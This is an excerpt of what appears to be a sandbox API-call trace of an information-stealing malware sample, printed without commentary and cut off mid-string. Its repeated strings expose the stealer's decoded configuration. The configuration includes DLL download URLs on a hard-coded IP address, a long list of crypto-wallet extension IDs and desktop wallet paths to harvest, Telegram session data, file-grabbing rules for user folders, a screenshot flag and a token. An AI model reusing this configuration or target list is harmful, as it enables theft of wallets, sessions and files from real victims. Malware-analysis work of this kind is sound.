Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 5278 [0266.313] LocalAlloc (uFlags=0x40, uBytes=0x293c) returned 0x6ef5a0 [0266.313] lstrlenW (lpString="libs_nss3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll\nlibs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 5278 [0266.313] LocalAlloc (uFlags=0x40, uBytes=0x293c) returned 0x6f1ee8 [0266.313] lstrlenW (lpString="xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3445 [0266.313] LocalAlloc (uFlags=0x40, uBytes=0x1b6a) returned 0x6f4830 [0266.314] StrCpyW (in: psz1=0x6fe628, psz2="Monero" | out: psz1="Monero") returned="Monero" [0266.314] LocalFree (hMem=0x6f4830) returned 0x0 [0266.314] StrStrW (lpFirst="5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch=";") returned=";Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0266.314] lstrlenW (lpString="xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3445 [0266.314] LocalAlloc (uFlags=0x40, uBytes=0x1b6a) returned 0x6f4830 [0266.314] StrCpyW (in: psz1=0x700f70, psz2="5" | out: psz1="5") returned="5" [0266.314] LocalFree (hMem=0x6f4830) returned 0x0 [0266.315] StrStrW (lpFirst="Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch=";") returned=";*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension 